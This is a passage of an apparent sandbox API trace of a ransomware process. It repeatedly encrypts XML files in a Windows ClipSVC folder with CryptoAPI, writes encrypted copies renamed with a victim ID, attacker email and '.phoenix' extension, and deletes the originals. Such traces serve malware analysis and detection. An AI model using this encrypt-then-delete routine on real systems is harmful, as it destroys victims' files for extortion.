	[0245.908] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.908] CryptDestroyKey (hKey=0x151680) returned 1
	[0245.908] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0245.908] CryptDestroyKey (hKey=0x151740) returned 1
	[0245.908] CloseHandle (hObject=0x2b0) returned 1
	[0245.908] CloseHandle (hObject=0x2c8) returned 1
	[0245.908] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml")) returned 1
	[0245.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.910] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.911] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2663) returned 1
	[0245.911] CloseHandle (hObject=0x2c8) returned 1
	[0245.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml")) returned 0x20
	[0245.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.911] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.911] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0245.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0245.912] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.912] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa67, lpOverlapped=0x0) returned 1
	[0246.002] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70, dwBufLen=0xa70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70) returned 1
	[0246.002] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa70, lpOverlapped=0x0) returned 1
	[0246.003] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0246.003] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.003] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.003] CryptDestroyKey (hKey=0x151440) returned 1
	[0246.003] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.003] CryptDestroyKey (hKey=0x151040) returned 1
	[0246.003] CloseHandle (hObject=0x2c8) returned 1
	[0246.003] CloseHandle (hObject=0x2b0) returned 1
	[0246.003] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml")) returned 1
	[0246.004] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0246.005] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.006] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2831) returned 1
	[0246.006] CloseHandle (hObject=0x2c8) returned 1
	[0246.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml")) returned 0x20
	[0246.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.006] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.006] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.008] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0246.008] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.008] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb0f, lpOverlapped=0x0) returned 1
	[0246.082] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb10, dwBufLen=0xb10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb10) returned 1
	[0246.082] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb10, lpOverlapped=0x0) returned 1
	[0246.103] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0246.103] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.103] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.103] CryptDestroyKey (hKey=0x151440) returned 1
	[0246.103] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.103] CryptDestroyKey (hKey=0x151780) returned 1
	[0246.103] CloseHandle (hObject=0x2c8) returned 1
	[0246.103] CloseHandle (hObject=0x2b4) returned 1
	[0246.103] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml")) returned 1
	[0246.104] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0246.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.108] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3272) returned 1
	[0246.108] CloseHandle (hObject=0x2f0) returned 1
	[0246.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml")) returned 0x20
	[0246.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.109] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.109] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151240) returned 1
	[0246.110] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.110] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xcc8, lpOverlapped=0x0) returned 1
	[0246.247] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcd0, dwBufLen=0xcd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcd0) returned 1
	[0246.247] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xcd0, lpOverlapped=0x0) returned 1
	[0246.248] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0246.248] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.248] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.248] CryptDestroyKey (hKey=0x151440) returned 1
	[0246.248] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.248] CryptDestroyKey (hKey=0x151240) returned 1
	[0246.248] CloseHandle (hObject=0x2f0) returned 1
	[0246.248] CloseHandle (hObject=0x2b4) returned 1
	[0246.248] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1bac04c-582b-d37d-069c-13f17a799e18.xml")) returned 1
	[0246.249] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0246.249] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.249] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2668) returned 1
	[0246.249] CloseHandle (hObject=0x2b4) returned 1
	[0246.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml")) returned 0x20
	[0246.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.250] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.250] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.250] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.250] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.250] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151680) returned 1
	[0246.250] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.250] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa6c, lpOverlapped=0x0) returned 1
	[0246.730] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70, dwBufLen=0xa70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70) returned 1
	[0246.731] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa70, lpOverlapped=0x0) returned 1
	[0246.731] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0246.731] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.731] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.731] CryptDestroyKey (hKey=0x151180) returned 1
	[0246.731] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.732] CryptDestroyKey (hKey=0x151680) returned 1
	[0246.732] CloseHandle (hObject=0x2b4) returned 1
	[0246.732] CloseHandle (hObject=0x2f0) returned 1
	[0246.732] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ac116a72-b6b1-d558-23f6-10796e634d41.xml")) returned 1
	[0246.733] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0246.733] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.733] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2754) returned 1
	[0246.733] CloseHandle (hObject=0x2f0) returned 1
	[0246.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml")) returned 0x20
	[0246.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.733] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.733] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.733] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.733] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.734] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0246.734] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.734] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xac2, lpOverlapped=0x0) returned 1
	[0246.830] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xad0, dwBufLen=0xad0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xad0) returned 1
